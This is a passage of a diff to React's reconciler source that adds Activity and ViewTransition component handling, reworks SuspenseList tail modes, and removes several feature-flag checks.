+      // Even if we're ready we suspend the commit and check again in the pre-commit
+      // phase if we need to suspend anyway. Such as if it's delayed on decoding or
+      // if it was dropped from the cache while rendering due to pressure.
+      workInProgress.flags |= ShouldSuspendCommit;
     }
   }
 }
@@ -580,25 +636,28 @@ function scheduleRetryEffect(
     // Schedule an effect to attach a retry listener to the promise.
     // TODO: Move to passive phase
     workInProgress.flags |= Update;
-  } else {
-    // This boundary suspended, but no wakeables were added to the retry
-    // queue. Check if the renderer suspended commit. If so, this means
-    // that once the fallback is committed, we can immediately retry
-    // rendering again, because rendering wasn't actually blocked. Only
-    // the commit phase.
-    // TODO: Consider a model where we always schedule an immediate retry, even
-    // for normal Suspense. That way the retry can partially render up to the
-    // first thing that suspends.
-    if (workInProgress.flags & ScheduleRetry) {
-      const retryLane =
-        // TODO: This check should probably be moved into claimNextRetryLane
-        // I also suspect that we need some further consolidation of offscreen
-        // and retry lanes.
-        workInProgress.tag !== OffscreenComponent
-          ? claimNextRetryLane()
-          : OffscreenLane;
-      workInProgress.lanes = mergeLanes(workInProgress.lanes, retryLane);
-    }
+  }
+
+  // Check if we need to schedule an immediate retry. This should happen
+  // whenever we unwind a suspended tree without fully rendering its siblings;
+  // we need to begin the retry so we can start prerendering them.
+  //
+  // We also use this mechanism for Suspensey Resources (e.g. stylesheets),
+  // because those don't actually block the render phase, only the commit phase.
+  // So we can start rendering even before the resources are ready.
+  if (workInProgress.flags & ScheduleRetry) {
+    const retryLane =
+      // TODO: This check should probably be moved into claimNextRetryLane
+      // I also suspect that we need some further consolidation of offscreen
+      // and retry lanes.
+      workInProgress.tag !== OffscreenComponent
+        ? claimNextRetryLane()
+        : OffscreenLane;
+    workInProgress.lanes = mergeLanes(workInProgress.lanes, retryLane);
+
+    // Track the lanes that have been scheduled for an immediate retry so that
+    // we can mark them as suspended upon committing the root.
+    markSpawnedRetryLane(retryLane);
   }
 }
 
@@ -618,15 +677,13 @@ function updateHostText(
       // If the text content differs, we'll create a new text instance for it.
       const rootContainerInstance = getRootHostContainer();
       const currentHostContext = getHostContext();
+      markCloned(workInProgress);
       workInProgress.stateNode = createTextInstance(
         newText,
         rootContainerInstance,
         currentHostContext,
         workInProgress,
       );
-      // We'll have to mark it as having an effect, even though we won't use the effect for anything.
-      // This lets the parents know that at least one of their children has changed.
-      markUpdate(workInProgress);
     } else {
       workInProgress.stateNode = current.stateNode;
     }
@@ -643,7 +700,11 @@ function cutOffTailIfNeeded(
     return;
   }
   switch (renderState.tailMode) {
-    case 'hidden': {
+    case 'visible': {
+      // Everything should remain as it was.
+      break;
+    }
+    case 'collapsed': {
       // Any insertions at the end of the tail list after this point
       // should be invisible. If there are already mounted boundaries
       // anything before them are not considered for collapsing.
@@ -661,7 +722,13 @@ function cutOffTailIfNeeded(
       // last rendered item.
       if (lastTailNode === null) {
         // All remaining items in the tail are insertions.
-        renderState.tail = null;
+        if (!hasRenderedATailFallback && renderState.tail !== null) {
+          // We suspended during the head. We want to show at least one
+          // row at the tail. So we'll keep on and cut off the rest.
+          renderState.tail.sibling = null;
+        } else {
+          renderState.tail = null;
+        }
       } else {
         // Detach the insertion after the last node that was already
         // inserted.
@@ -669,7 +736,9 @@ function cutOffTailIfNeeded(
       }
       break;
     }
-    case 'collapsed': {
+    // Hidden is now the default.
+    case 'hidden':
+    default: {
       // Any insertions at the end of the tail list after this point
       // should be invisible. If there are already mounted boundaries
       // anything before them are not considered for collapsing.
@@ -687,13 +756,7 @@ function cutOffTailIfNeeded(
       // last rendered item.
       if (lastTailNode === null) {
         // All remaining items in the tail are insertions.
-        if (!hasRenderedATailFallback && renderState.tail !== null) {
-          // We suspended during the head. We want to show at least one
-          // row at the tail. So we'll keep on and cut off the rest.
-          renderState.tail.sibling = null;
-        } else {
-          renderState.tail = null;
-        }
+        renderState.tail = null;
       } else {
         // Detach the insertion after the last node that was already
         // inserted.
@@ -704,13 +767,24 @@ function cutOffTailIfNeeded(
   }
 }
 
+function isOnlyNewMounts(tail: Fiber): boolean {
+  let fiber: null | Fiber = tail;
+  while (fiber !== null) {
+    if (fiber.alternate !== null) {
+      return false;
+    }
+    fiber = fiber.sibling;
+  }
+  return true;
+}
+
 function bubbleProperties(completedWork: Fiber) {
   const didBailout =
     completedWork.alternate !== null &&
     completedWork.alternate.child === completedWork.child;
 
   let newChildLanes: Lanes = NoLanes;
-  let subtreeFlags = NoFlags;
+  let subtreeFlags: Flags = NoFlags;
 
   if (!didBailout) {
     // Bubble up the earliest expiration time.
@@ -827,6 +901,88 @@ function bubbleProperties(completedWork: Fiber) {
   return didBailout;
 }
 
+function completeDehydratedActivityBoundary(
+  current: Fiber | null,
+  workInProgress: Fiber,
+  nextState: ActivityState | null,
+): boolean {
+  const wasHydrated = popHydrationState(workInProgress);
+
+  if (nextState !== null) {
+    // We might be inside a hydration state the first time we're picking up this
+    // Activity boundary, and also after we've reentered it for further hydration.
+    if (current === null) {
+      if (!wasHydrated) {
+        throw new Error(
+          'A dehydrated suspense component was completed without a hydrated node. ' +
+            'This is probably a bug in React.',
+        );
+      }
+      prepareToHydrateHostActivityInstance(workInProgress);
+      bubbleProperties(workInProgress);
+      if (enableProfilerTimer) {
+        if ((workInProgress.mode & ProfileMode) !== NoMode) {
+          const isTimedOutSuspense = nextState !== null;
+          if (isTimedOutSuspense) {
+            // Don't count time spent in a timed out Suspense subtree as part of the base duration.
+            const primaryChildFragment = workInProgress.child;
+            if (primaryChildFragment !== null) {
+              // $FlowFixMe[unsafe-arithmetic] Flow doesn't support type casting in combination with the -= operator
+              workInProgress.treeBaseDuration -=
+                ((primaryChildFragment.treeBaseDuration: any): number);
+            }
+          }
+        }
+      }
+      return false;
+    } else {
+      emitPendingHydrationWarnings();
+      // We might have reentered this boundary to hydrate it. If so, we need to reset the hydration
+      // state since we're now exiting out of it. popHydrationState doesn't do that for us.
+      resetHydrationState();
+      if ((workInProgress.flags & DidCapture) === NoFlags) {
+        // This boundary did not suspend so it's now hydrated and unsuspended.
+        nextState = workInProgress.memoizedState = null;
+      }
+      // If nothing suspended, we need to schedule an effect to mark this boundary
+      // as having hydrated so events know that they're free to be invoked.
+      // It's also a signal to replay events and the suspense callback.
+      // If something suspended, schedule an effect to attach retry listeners.
+      // So we might as well always mark this.
+      workInProgress.flags |= Update;
+      bubbleProperties(workInProgress);
+      if (enableProfilerTimer) {
+        if ((workInProgress.mode & ProfileMode) !== NoMode) {
+          const isTimedOutSuspense = nextState !== null;
+          if (isTimedOutSuspense) {
+            // Don't count time spent in a timed out Suspense subtree as part of the base duration.
+            const primaryChildFragment = workInProgress.child;
+            if (primaryChildFragment !== null) {
+              // $FlowFixMe[unsafe-arithmetic] Flow doesn't support type casting in combination with the -= operator
+              workInProgress.treeBaseDuration -=
+                ((primaryChildFragment.treeBaseDuration: any): number);
+            }
+          }
+        }
+      }
+      return false;
+    }
+  } else {
+    // Successfully completed this tree. If this was a forced client render,
+    // there may have been recoverable errors during first hydration
+    // attempt. If so, add them to a queue so we can log them in the
+    // commit phase. We also add them to prev state so we can get to them
+    // from the Suspense Boundary.
+    const hydrationErrors = upgradeHydrationErrorsToRecoverable();
+    if (current !== null && current.memoizedState !== null) {
+      const prevState: ActivityState = current.memoizedState;
+      prevState.hydrationErrors = hydrationErrors;
+    }
+    // Fall through to normal Offscreen path
+    return true;
+  }
+}
+
 function completeDehydratedSuspenseBoundary(
   current: Fiber | null,
   workInProgress: Fiber,
@@ -868,7 +1024,7 @@ function completeDehydratedSuspenseBoundary(
       resetHydrationState();
       if ((workInProgress.flags & DidCapture) === NoFlags) {
         // This boundary did not suspend so it's now hydrated and unsuspended.
-        workInProgress.memoizedState = null;
+        nextState = workInProgress.memoizedState = null;
       }
       // If nothing suspended, we need to schedule an effect to mark this boundary
       // as having hydrated so events know that they're free to be invoked.
@@ -897,9 +1053,13 @@ function completeDehydratedSuspenseBoundary(
     // Successfully completed this tree. If this was a forced client render,
     // there may have been recoverable errors during first hydration
     // attempt. If so, add them to a queue so we can log them in the
-    // commit phase.
-    upgradeHydrationErrorsToRecoverable();
-
+    // commit phase. We also add them to prev state so we can get to them
+    // from the Suspense Boundary.
+    const hydrationErrors = upgradeHydrationErrorsToRecoverable();
+    if (current !== null && current.memoizedState !== null) {
+      const prevState: SuspenseState = current.memoizedState;
+      prevState.hydrationErrors = hydrationErrors;
+    }
     // Fall through to normal Suspense path
     return true;
   }
@@ -955,18 +1115,16 @@ function completeWork(
         }
       }
 
-      if (enableCache) {
-        let previousCache: Cache | null = null;
-        if (current !== null) {
-          previousCache = current.memoizedState.cache;
-        }
-        const cache: Cache = workInProgress.memoizedState.cache;
-        if (cache !== previousCache) {
-          // Run passive effects to retain/release the cache.
-          workInProgress.flags |= Passive;
-        }
-        popCacheProvider(workInProgress, cache);
+      let previousCache: Cache | null = null;
+      if (current !== null) {
+        previousCache = current.memoizedState.cache;
       }
+      const cache: Cache = workInProgress.memoizedState.cache;
+      if (cache !== previousCache) {
+        // Run passive effects to retain/release the cache.
+        workInProgress.flags |= Passive;
+      }
+      popCacheProvider(workInProgress, cache);
 
       if (enableTransitionTracing) {
         popRootMarkerInstance(workInProgress);
@@ -1058,6 +1216,7 @@ function completeWork(
             preloadInstanceAndSuspendIfNeeded(
               workInProgress,
               type,
+              null,
               newProps,
               renderLanes,
             );
@@ -1091,15 +1250,15 @@ function completeWork(
               return null;
             }
           } else {
+            const oldProps = current.memoizedProps;
             // This is an Instance
             // We may have props to update on the Hoistable instance.
             if (supportsMutation) {
-              const oldProps = current.memoizedProps;
               if (oldProps !== newProps) {
                 markUpdate(workInProgress);
               }
             } else {
-              // We use the updateHostComponent path becuase it produces
+              // We use the updateHostComponent path because it produces
               // the update queue we need for Hoistables.
               updateHostComponent(
                 current,
@@ -1114,6 +1273,7 @@ function completeWork(
             preloadInstanceAndSuspendIfNeeded(
               workInProgress,
               type,
+              oldProps,
               newProps,
               renderLanes,
             );
@@ -1154,6 +1314,11 @@ function completeWork(
 
             // This can happen when we abort work.
             bubbleProperties(workInProgress);
+            if (enableViewTransition) {
+              // Host Components act as their own View Transitions which doesn't run enter/exit animations.
+              // We clear any ViewTransitionStatic flag bubbled from inner View Transitions.
+              workInProgress.subtreeFlags &= ~ViewTransitionStatic;
+            }
             return null;
           }
 
@@ -1179,6 +1344,11 @@ function completeWork(
           }
         }
         bubbleProperties(workInProgress);
+        if (enableViewTransition) {
+          // Host Components act as their own View Transitions which doesn't run enter/exit animations.
+          // We clear any ViewTransitionStatic flag bubbled from inner View Transitions.
+          workInProgress.subtreeFlags &= ~ViewTransitionStatic;
+        }
         return null;
       }
       // Fall through
@@ -1205,6 +1375,11 @@ function completeWork(
 
           // This can happen when we abort work.
           bubbleProperties(workInProgress);
+          if (enableViewTransition) {
+            // Host Components act as their own View Transitions which doesn't run enter/exit animations.
+            // We clear any ViewTransitionStatic flag bubbled from inner View Transitions.
+            workInProgress.subtreeFlags &= ~ViewTransitionStatic;
+          }
           return null;
         }
 
@@ -1218,6 +1393,16 @@ function completeWork(
           // TODO: Move this and createInstance step into the beginPhase
           // to consolidate.
           prepareToHydrateHostInstance(workInProgress, currentHostContext);
+          if (
+            finalizeHydratedChildren(
+              workInProgress.stateNode,
+              type,
+              newProps,
+              currentHostContext,
+            )
+          ) {
+            workInProgress.flags |= Hydrate;
+          }
         } else {
           const rootContainerInstance = getRootHostContainer();
           const instance = createInstance(
@@ -1229,6 +1414,7 @@ function completeWork(
           );
           // TODO: For persistent renderers, we should pass children as part
           // of the initial instance creation
+          markCloned(workInProgress);
           appendAllChildren(instance, workInProgress, false, false);
           workInProgress.stateNode = instance;
 
@@ -1248,6 +1434,11 @@ function completeWork(
         }
       }
       bubbleProperties(workInProgress);
+      if (enableViewTransition) {
+        // Host Components act as their own View Transitions which doesn't run enter/exit animations.
+        // We clear any ViewTransitionStatic flag bubbled from inner View Transitions.
+        workInProgress.subtreeFlags &= ~ViewTransitionStatic;
+      }
 
       // This must come at the very end of the complete phase, because it might
       // throw to suspend, and if the resource immediately loads, the work loop
@@ -1256,6 +1447,7 @@ function completeWork(
       preloadInstanceAndSuspendIfNeeded(
         workInProgress,
         workInProgress.type,
+        current === null ? null : current.memoizedProps,
         workInProgress.pendingProps,
         renderLanes,
       );
@@ -1284,6 +1476,7 @@ function completeWork(
         if (wasHydrated) {
           prepareToHydrateHostTextInstance(workInProgress);
         } else {
+          markCloned(workInProgress);
           workInProgress.stateNode = createTextInstance(
             newText,
             rootContainerInstance,
@@ -1295,6 +1488,46 @@ function completeWork(
       bubbleProperties(workInProgress);
       return null;
     }
+    case ActivityComponent: {
+      const nextState: null | ActivityState = workInProgress.memoizedState;
+
+      if (current === null || current.memoizedState !== null) {
+        const fallthroughToNormalOffscreenPath =
+          completeDehydratedActivityBoundary(
+            current,
+            workInProgress,
+            nextState,
+          );
+        if (!fallthroughToNormalOffscreenPath) {
+          if (workInProgress.flags & ForceClientRender) {
+            popSuspenseHandler(workInProgress);
+            // Special case. There were remaining unhydrated nodes. We treat
+            // this as a mismatch. Revert to client rendering.
+            return workInProgress;
+          } else {
+            popSuspenseHandler(workInProgress);
+            // Did not finish hydrating, either because this is the initial
+            // render or because something suspended.
+            return null;
+          }
+        }
+
+        if ((workInProgress.flags & DidCapture) !== NoFlags) {
+          // We called retryActivityComponentWithoutHydrating and tried client rendering
+          // but now we suspended again. We should never arrive here because we should
+          // not have pushed a suspense handler during that second pass and it should
+          // instead have suspended above.
+          throw new Error(
+            'Client rendering an Activity suspended it again. This is a bug in React.',
+          );
+        }
+
+        // Continue with the normal Activity path.
+      }
+
+      bubbleProperties(workInProgress);
+      return null;
+    }
     case SuspenseComponent: {
       const nextState: null | SuspenseState = workInProgress.memoizedState;
 
@@ -1336,7 +1569,6 @@ function completeWork(
       if ((workInProgress.flags & DidCapture) !== NoFlags) {
         // Something suspended. Re-render with the fallback children.
         workInProgress.lanes = renderLanes;
-        // Do not reset the effect list.
         if (
           enableProfilerTimer &&
           (workInProgress.mode & ProfileMode) !== NoMode
@@ -1352,7 +1584,7 @@ function completeWork(
         current !== null &&
         (current.memoizedState: null | SuspenseState) !== null;
 
-      if (enableCache && nextDidTimeout) {
+      if (nextDidTimeout) {
         const offscreenFiber: Fiber = (workInProgress.child: any);
         let previousCache: Cache | null = null;
         if (
@@ -1434,16 +1666,12 @@ function completeWork(
       if (current === null) {
         preparePortalMount(workInProgress.stateNode.containerInfo);
       }
+      workInProgress.flags |= PortalStatic;
       bubbleProperties(workInProgress);
       return null;
     case ContextProvider:
       // Pop provider fiber
-      let context: ReactContext<any>;
-      if (enableRenderableContext) {
-        context = workInProgress.type;
-      } else {
-        context = workInProgress.type._context;
-      }
+      const context: ReactContext<any> = workInProgress.type;
       popProvider(context, workInProgress);
       bubbleProperties(workInProgress);
       return null;
@@ -1535,6 +1763,10 @@ function completeWork(
                     ForceSuspenseFallback,
                   ),
                 );
+                if (getIsHydrating()) {
+                  // Re-apply tree fork since we popped the tree fork context in the beginning of this function.
+                  pushTreeFork(workInProgress, renderState.treeForkCount);
+                }
                 // Don't bubble properties in this case.
                 return workInProgress.child;
               }
@@ -1583,7 +1815,8 @@ function completeWork(
             // This might have been modified.
             if (
               renderState.tail === null &&
-              renderState.tailMode === 'hidden' &&
+              renderState.tailMode !== 'collapsed' &&
+              renderState.tailMode !== 'visible' &&
               !renderedTail.alternate &&
               !getIsHydrating() // We don't cut it if we're hydrating.
             ) {
@@ -1619,10 +1852,6 @@ function completeWork(
           }
         }
         if (renderState.isBackwards) {
-          // The effect list of the backwards tail will have been added
-          // to the end. This breaks the guarantee that life-cycles fire in
-          // sibling order but that isn't a strong guarantee promised by React.
-          // Especially since these might also just pop in during future commits.
           // Append to the beginning of the list.
           renderedTail.sibling = workInProgress.child;
           workInProgress.child = renderedTail;
@@ -1640,7 +1869,10 @@ function completeWork(
       if (renderState.tail !== null) {
         // We still have tail rows to render.
         // Pop a row.
+        // TODO: Consider storing the first of the new mount tail in the state so
+        // that we don't have to recompute this for every row in the list.
         const next = renderState.tail;
+        const onlyNewMounts = isOnlyNewMounts(next);
         renderState.rendering = next;
         renderState.tail = next.sibling;
         renderState.renderingStartTime = now();
@@ -1659,8 +1891,31 @@ function completeWork(
           suspenseContext =
             setDefaultShallowSuspenseListContext(suspenseContext);
         }
-        pushSuspenseListContext(workInProgress, suspenseContext);
+        if (
+          renderState.tailMode === 'visible' ||
+          renderState.tailMode === 'collapsed' ||
+          !onlyNewMounts ||
+          // TODO: While hydrating, we still let it suspend the parent. Tail mode hidden has broken
+          // hydration anyway right now but this preserves the previous semantics out of caution.
+          // Once proper hydration is implemented, this special case should be removed as it should
+          // never be needed.
+          getIsHydrating()
+        ) {
+          pushSuspenseListContext(workInProgress, suspenseContext);
+        } else {
+          // If we are rendering in 'hidden' (default) tail mode, then we if we suspend in the
+          // tail itself, we can delete it rather than suspend the parent. So we act as a catch in that
+          // case. For 'collapsed' we need to render at least one in suspended state, after which we'll
+          // have cut off the rest to never attempt it so it never hits this case.
+          // If this is an updated node, we cannot delete it from the tail so it's effectively visible.
+          // As a consequence, if it resuspends it actually suspends the parent by taking the other path.
+          pushSuspenseListCatch(workInProgress, suspenseContext);
+        }
         // Do a pass over the next row.
+        if (getIsHydrating()) {
+          // Re-apply tree fork since we popped the tree fork context in the beginning of this function.
+          pushTreeFork(workInProgress, renderState.treeForkCount);
+        }
         // Don't bubble properties in this case.
         return next;
       }
@@ -1751,26 +2006,24 @@ function completeWork(
         scheduleRetryEffect(workInProgress, retryQueue);
       }
 
-      if (enableCache) {
-        let previousCache: Cache | null = null;
-        if (
-          current !== null &&
-          current.memoizedState !== null &&
-          current.memoizedState.cachePool !== null
-        ) {
-          previousCache = current.memoizedState.cachePool.pool;
-        }
-        let cache: Cache | null = null;
-        if (
-          workInProgress.memoizedState !== null &&
-          workInProgress.memoizedState.cachePool !== null
-        ) {
-          cache = workInProgress.memoizedState.cachePool.pool;
-        }
-        if (cache !== previousCache) {
-          // Run passive effects to retain/release the cache.
-          workInProgress.flags |= Passive;
-        }
+      let previousCache: Cache | null = null;
+      if (
+        current !== null &&
+        current.memoizedState !== null &&
+        current.memoizedState.cachePool !== null
+      ) {
+        previousCache = current.memoizedState.cachePool.pool;
+      }
+      let cache: Cache | null = null;
+      if (
+        workInProgress.memoizedState !== null &&
+        workInProgress.memoizedState.cachePool !== null
+      ) {
+        cache = workInProgress.memoizedState.cachePool.pool;
+      }
+      if (cache !== previousCache) {
+        // Run passive effects to retain/release the cache.
+        workInProgress.flags |= Passive;
       }
 
       popTransition(workInProgress, current);
@@ -1778,19 +2031,17 @@ function completeWork(
       return null;
     }
     case CacheComponent: {
-      if (enableCache) {
-        let previousCache: Cache | null = null;
-        if (current !== null) {
-          previousCache = current.memoizedState.cache;
-        }
-        const cache: Cache = workInProgress.memoizedState.cache;
-        if (cache !== previousCache) {
-          // Run passive effects to retain/release the cache.
-          workInProgress.flags |= Passive;
-        }
-        popCacheProvider(workInProgress, cache);
-        bubbleProperties(workInProgress);
+      let previousCache: Cache | null = null;
+      if (current !== null) {
+        previousCache = current.memoizedState.cache;
       }
+      const cache: Cache = workInProgress.memoizedState.cache;
+      if (cache !== previousCache) {
+        // Run passive effects to retain/release the cache.
+        workInProgress.flags |= Passive;
+      }
+      popCacheProvider(workInProgress, cache);
+      bubbleProperties(workInProgress);
       return null;
     }
     case TracingMarkerComponent: {
@@ -1803,6 +2054,16 @@ function completeWork(
       }
       return null;
     }
+    case ViewTransitionComponent: {
+      if (enableViewTransition) {
+        // We're a component that might need an exit transition. This flag will
+        // bubble up to the parent tree to indicate that there's a child that
+        // might need an exit View Transition upon unmount.
+        workInProgress.flags |= ViewTransitionStatic;
+        bubbleProperties(workInProgress);
+      }
+      return null;
+    }
     case Throw: {
       if (!disableLegacyMode) {
         // Only Legacy Mode completes an errored node.
diff --git a/packages/react-reconciler/src/ReactFiberComponentStack.js b/packages/react-reconciler/src/ReactFiberComponentStack.js
index 8a69ba9ddfd1..da804171da5b 100644
--- a/packages/react-reconciler/src/ReactFiberComponentStack.js
+++ b/packages/react-reconciler/src/ReactFiberComponentStack.js
@@ -7,7 +7,7 @@
  * @flow
  */
 
-import {enableOwnerStacks} from 'shared/ReactFeatureFlags';
+import {enableViewTransition} from 'shared/ReactFeatureFlags';
 import type {Fiber} from './ReactInternalTypes';
 import type {ReactComponentInfo} from 'shared/ReactTypes';
 
@@ -23,6 +23,8 @@ import {
   SimpleMemoComponent,
   ClassComponent,
   HostText,
+  ViewTransitionComponent,
+  ActivityComponent,
 } from './ReactWorkTags';
 import {
   describeBuiltInComponentFrame,
@@ -30,17 +32,22 @@ import {
   describeClassComponentFrame,
   describeDebugInfoFrame,
 } from 'shared/ReactComponentStackFrame';
-import {formatOwnerStack} from './ReactFiberOwnerStack';
+import {formatOwnerStack} from 'shared/ReactOwnerStackFrames';
 
-function describeFiber(fiber: Fiber): string {
+function describeFiber(fiber: Fiber, childFiber: null | Fiber): string {
   switch (fiber.tag) {
     case HostHoistable:
     case HostSingleton:
     case HostComponent:
       return describeBuiltInComponentFrame(fiber.type);
     case LazyComponent:
+      // TODO: When we support Thenables as component types we should rename this.
       return describeBuiltInComponentFrame('Lazy');
     case SuspenseComponent:
+      if (fiber.child !== childFiber && childFiber !== null) {
+        // If we came from the second Fiber then we're in the Suspense Fallback.
+        return describeBuiltInComponentFrame('Suspense Fallback');
+      }
       return describeBuiltInComponentFrame('Suspense');
     case SuspenseListComponent:
       return describeBuiltInComponentFrame('SuspenseList');
@@ -51,6 +58,13 @@ function describeFiber(fiber: Fiber): string {
       return describeFunctionComponentFrame(fiber.type.render);
     case ClassComponent:
       return describeClassComponentFrame(fiber.type);
+    case ActivityComponent:
+      return describeBuiltInComponentFrame('Activity');
+    case ViewTransitionComponent:
+      if (enableViewTransition) {
+        return describeBuiltInComponentFrame('ViewTransition');
+      }
+    // Fallthrough
     default:
       return '';
   }
@@ -60,8 +74,9 @@ export function getStackByFiberInDevAndProd(workInProgress: Fiber): string {
   try {
     let info = '';
     let node: Fiber = workInProgress;
+    let previous: null | Fiber = null;
     do {
-      info += describeFiber(node);
+      info += describeFiber(node, previous);
       if (__DEV__) {
         // Add any Server Component stack frames in reverse order.
         const debugInfo = node._debugInfo;
@@ -69,11 +84,16 @@ export function getStackByFiberInDevAndProd(workInProgress: Fiber): string {
           for (let i = debugInfo.length - 1; i >= 0; i--) {
             const entry = debugInfo[i];
             if (typeof entry.name === 'string') {
-              info += describeDebugInfoFrame(entry.name, entry.env);
+              info += describeDebugInfoFrame(
+                entry.name,
+                entry.env,
+                entry.debugLocation,
+              );
             }
           }
         }
       }
+      previous = node;
       // $FlowFixMe[incompatible-type] we bail out when we get a null
       node = node.return;
     } while (node);
@@ -90,27 +110,13 @@ function describeFunctionComponentFrameWithoutLineNumber(fn: Function): string {
   return name ? describeBuiltInComponentFrame(name) : '';
 }
 
-export function getOwnerStackByFiberInDev(
-  workInProgress: Fiber,
-  topStack: null | Error,
-): string {
-  if (!enableOwnerStacks || !__DEV__) {
+export function getOwnerStackByFiberInDev(workInProgress: Fiber): string {
+  if (!__DEV__) {
     return '';
   }
   try {
     let info = '';
 
-    if (topStack) {
-      // Prefix with a filtered version of the currently executing
-      // stack. This information will be available in the native
-      // stack regardless but it's hidden since we're reprinting
-      // the stack on top of it.
-      const formattedTopStack = formatOwnerStack(topStack);
-      if (formattedTopStack !== '') {
-        info += '\n' + formattedTopStack;
-      }
-    }
-
     if (workInProgress.tag === HostText) {
       // Text nodes never have an owner/stack because they're not created through JSX.
       // We use the parent since text nodes are always created through a host parent.
@@ -136,6 +142,15 @@ export function getOwnerStackByFiberInDev(
       case SuspenseListComponent:
         info += describeBuiltInComponentFrame('SuspenseList');
         break;
+      case ActivityComponent:
+        info += describeBuiltInComponentFrame('Activity');
+        break;
+      case ViewTransitionComponent:
+        if (enableViewTransition) {
+          info += describeBuiltInComponentFrame('ViewTransition');
+          break;
+        }
+      // Fallthrough
       case FunctionComponent:
       case SimpleMemoComponent:
       case ClassComponent:
@@ -162,7 +177,7 @@ export function getOwnerStackByFiberInDev(
       if (typeof owner.tag === 'number') {
         const fiber: Fiber = (owner: any);
         owner = fiber._debugOwner;
-        let debugStack = fiber._debugStack;
+        const debugStack = fiber._debugStack;
         // If we don't actually print the stack if there is no owner of this JSX element.
         // In a real app it's typically not useful since the root app is always controlled
         // by the framework. These also tend to have noisy stacks because they're not rooted
@@ -170,26 +185,19 @@ export function getOwnerStackByFiberInDev(
         // if the element was created in module scope. E.g. hoisted. We could add a a single
         // stack frame for context for example but it doesn't say much if that's a wrapper.
         if (owner && debugStack) {
-          if (typeof debugStack !== 'string') {
-            // Stash the formatted stack so that we can avoid redoing the filtering.
-            fiber._debugStack = debugStack = formatOwnerStack(debugStack);
-          }
-          if (debugStack !== '') {
-            info += '\n' + debugStack;
+          const formattedStack = formatOwnerStack(debugStack);
+          if (formattedStack !== '') {
+            info += '\n' + formattedStack;
           }
         }
-      } else if (typeof owner.stack === 'string') {
+      } else if (owner.debugStack != null) {
         // Server Component
-        // The Server Component stack can come from a different VM that formats it different.
-        // Likely V8. Since Chrome based browsers support createTask which is going to use
-        // another code path anyway. I.e. this is likely NOT a V8 based browser.
-        // This will cause some of the stack to have different formatting.
-        // TODO: Normalize server component stacks to the client formatting.
-        if (owner.stack !== '') {
-          info += '\n' + owner.stack;
+        const ownerStack: Error = owner.debugStack;
+        owner = owner.owner;
+        if (owner && ownerStack) {
+          // TODO: Should we stash this somewhere for caching purposes?
+          info += '\n' + formatOwnerStack(ownerStack);
         }
-        const componentInfo: ReactComponentInfo = (owner: any);
-        owner = componentInfo.owner;
       } else {
         break;
       }
diff --git a/packages/react-reconciler/src/ReactFiberConcurrentUpdates.js b/packages/react-reconciler/src/ReactFiberConcurrentUpdates.js
index 5413db10f6f7..05aeb3cfbb37 100644
--- a/packages/react-reconciler/src/ReactFiberConcurrentUpdates.js
+++ b/packages/react-reconciler/src/ReactFiberConcurrentUpdates.js
@@ -17,7 +17,7 @@ import type {
   Update as ClassUpdate,
 } from './ReactFiberClassUpdateQueue';
 import type {Lane, Lanes} from './ReactFiberLane';
-import type {OffscreenInstance} from './ReactFiberActivityComponent';
+import type {OffscreenInstance} from './ReactFiberOffscreenComponent';
 
 import {
   warnAboutUpdateOnNotYetMountedFiberInDEV,
@@ -27,7 +27,7 @@ import {
 import {NoLane, NoLanes, mergeLanes, markHiddenUpdate} from './ReactFiberLane';
 import {NoFlags, Placement, Hydrating} from './ReactFiberFlags';
 import {HostRoot, OffscreenComponent} from './ReactWorkTags';
-import {OffscreenVisible} from './ReactFiberActivityComponent';
+import {OffscreenVisible} from './ReactFiberOffscreenComponent';
 
 export type ConcurrentUpdate = {
   next: ConcurrentUpdate,
@@ -189,7 +189,7 @@ function markUpdateLaneFromFiberToRoot(
   sourceFiber: Fiber,
   update: ConcurrentUpdate | null,
   lane: Lane,
-): void {
+): null | FiberRoot {
   // Update the source fiber's lanes
   sourceFiber.lanes = mergeLanes(sourceFiber.lanes, lane);
   let alternate = sourceFiber.alternate;
@@ -238,10 +238,14 @@ function markUpdateLaneFromFiberToRoot(
     parent = parent.return;
   }
 
-  if (isHidden && update !== null && node.tag === HostRoot) {
+  if (node.tag === HostRoot) {
     const root: FiberRoot = node.stateNode;
-    markHiddenUpdate(root, update, lane);
+    if (isHidden && update !== null) {
+      markHiddenUpdate(root, update, lane);
+    }
+    return root;
   }
+  return null;
 }
 
 function getRootForUpdatedFiber(sourceFiber: Fiber): FiberRoot | null {
diff --git a/packages/react-reconciler/src/ReactFiberConfigWithNoHydration.js b/packages/react-reconciler/src/ReactFiberConfigWithNoHydration.js
index 3707f99f488f..2d472cf2bf58 100644
--- a/packages/react-reconciler/src/ReactFiberConfigWithNoHydration.js
+++ b/packages/react-reconciler/src/ReactFiberConfigWithNoHydration.js
@@ -19,6 +19,7 @@ function shim(...args: any): empty {
 }
 
 // Hydration (when unsupported)
+export type ActivityInstance = mixed;
 export type SuspenseInstance = mixed;
 export const supportsHydration = false;
 export const isSuspenseInstancePending = shim;
@@ -28,20 +29,34 @@ export const registerSuspenseInstanceRetry = shim;
 export const canHydrateFormStateMarker = shim;
 export const isFormStateMarkerMatching = shim;
 export const getNextHydratableSibling = shim;
+export const getNextHydratableSiblingAfterSingleton = shim;
 export const getFirstHydratableChild = shim;
 export const getFirstHydratableChildWithinContainer = shim;
+export const getFirstHydratableChildWithinActivityInstance = shim;
 export const getFirstHydratableChildWithinSuspenseInstance = shim;
+export const getFirstHydratableChildWithinSingleton = shim;
 export const canHydrateInstance = shim;
 export const canHydrateTextInstance = shim;
+export const canHydrateActivityInstance = shim;
 export const canHydrateSuspenseInstance = shim;
 export const hydrateInstance = shim;
 export const hydrateTextInstance = shim;
+export const hydrateActivityInstance = shim;
 export const hydrateSuspenseInstance = shim;
+export const getNextHydratableInstanceAfterActivityInstance = shim;
 export const getNextHydratableInstanceAfterSuspenseInstance = shim;
+export const finalizeHydratedChildren = shim;
+export const commitHydratedInstance = shim;
 export const commitHydratedContainer = shim;
+export const commitHydratedActivityInstance = shim;
 export const commitHydratedSuspenseInstance = shim;
+export const flushHydrationEvents = shim;
+export const clearActivityBoundary = shim;
 export const clearSuspenseBoundary = shim;
+export const clearActivityBoundaryFromContainer = shim;
 export const clearSuspenseBoundaryFromContainer = shim;
+export const hideDehydratedBoundary = shim;
+export const unhideDehydratedBoundary = shim;
 export const shouldDeleteUnhydratedTailInstances = shim;
 export const diffHydratedPropsForDevWarnings = shim;
 export const diffHydratedTextForDevWarnings = shim;
